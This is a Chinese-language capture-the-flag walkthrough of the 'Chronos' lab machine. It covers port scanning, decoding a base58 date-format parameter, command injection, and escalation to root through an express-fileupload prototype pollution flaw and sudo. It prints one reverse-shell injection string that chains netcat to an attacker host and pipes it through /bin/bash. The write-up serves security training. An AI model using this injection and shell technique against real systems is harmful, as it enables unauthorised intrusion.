03_Chronos 打靶

目标:取得两个 flag+root 权限

涉及攻击方法:端口扫描、WEB 侦查、命令注入、数据编码、框架漏洞利用、代码审计、NC 串联、本地提权

这次主机发现使用的是 netdiscover 工具,和之前使用的工具原理都是 arp 协议解析

在这个工具使用时,如果实际物理网段子网掩码为 24 的话建议使用 16,如果子网掩码为 16 的话建议使用 8 这样扫描结果会更快更好

发现主机地址,并用 nmap 进行扫描

1.jpg

2.jpg

按照通常惯例,既然有 http 服务,那就先用浏览器访问

页面没发现什么,扫描也没扫出什么,但在源码发现一串脚本

3.jpg

复制下来拉到 CyberChef 中整理美化。CyberChef 是一个非常强大的针对计算机各种编码解码的网站。这里仅仅是做了整理,没有进行解码。但在 CyberChef 中解码应该也是可行的,只是出于效率没去弄

4.jpg

发现里面有串链接。chronos 代表这个网站,local 是不是代表本地呢,我比较怀疑这串链接应该是在当前页面加载中,它可能会去访问 url 去读取或访问一些资源加载到其中

http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

由于 chronos.local 现在是没法解析的,所以在 /etc/hosts 下手动的添加一个地址,然后这个域名就可以正常解析到目标靶机的 ip 上。如果成功的话,当重新加载 80 页面时也许就会发生一些变化。

果然页面出现了一串时间,我用 bp 去抓了下包

5.jpg

简单修改下传递的参数,发现不在返回时间,所以猜测与参数有关。拿去解析,通过 magic 模块发现它应该是 base58 编码

6.jpg

看格式,很像 linux 下的 data 命令来获取一系列的时间

7.jpg

猜测可以进行命令注入来执行更多的命令,linux 有很多特殊的符号,在进行一系列测试后,我用的是 && 符号,即前者执行成功才执行后者

测试中 nc 可以正常连接但 -e 反弹 shell 失败所以还是用上次靶机的技巧 &&nc 10.0.2.20 4444 | /bin/bash | nc 10.0.2.20 5555

8.jpg

这样就获得了一个基本的 shell 权限,这时候就去进行大量的信息收集找 flag

找到个 user.txt 文件但没有权限,接下来就是要提权了

9.jpg

第一个想到内核提权,所以查看下内核版本,发现是 4.15 版本没找到漏洞,接着尝试 suid 权限配置错误失败,接着又发现当前账号没 sudo 权限只有 www-data. 常用办法都失效,就只能进行大量的信息收集了

查看 package.json, 它记录当前这个项目所需要的模块啊,框架,配置信息之类的

10.jpg

11.jpg

express 是最经常被用来开发 web 应用的 node.js 框架,又找到个 chronos-v2, 这个是另一个 web 服务有自己的主页,里面找到 package.json

12.jpg

发现个 8080 端口,但只能 127.0.0.1,难怪一开始没扫出来,然后又找半天,找到个 Node.js 原型污染漏洞(express-fileupload 漏洞)接下来就是开启 http 服务,开启侦听端口,服务器 wget 下载执行具体看第一个靶机

然后获得了 user.txt 里的第一个 flag,接着利用 sudo 进行提权,然后再 root.txt 获得第二个 flag。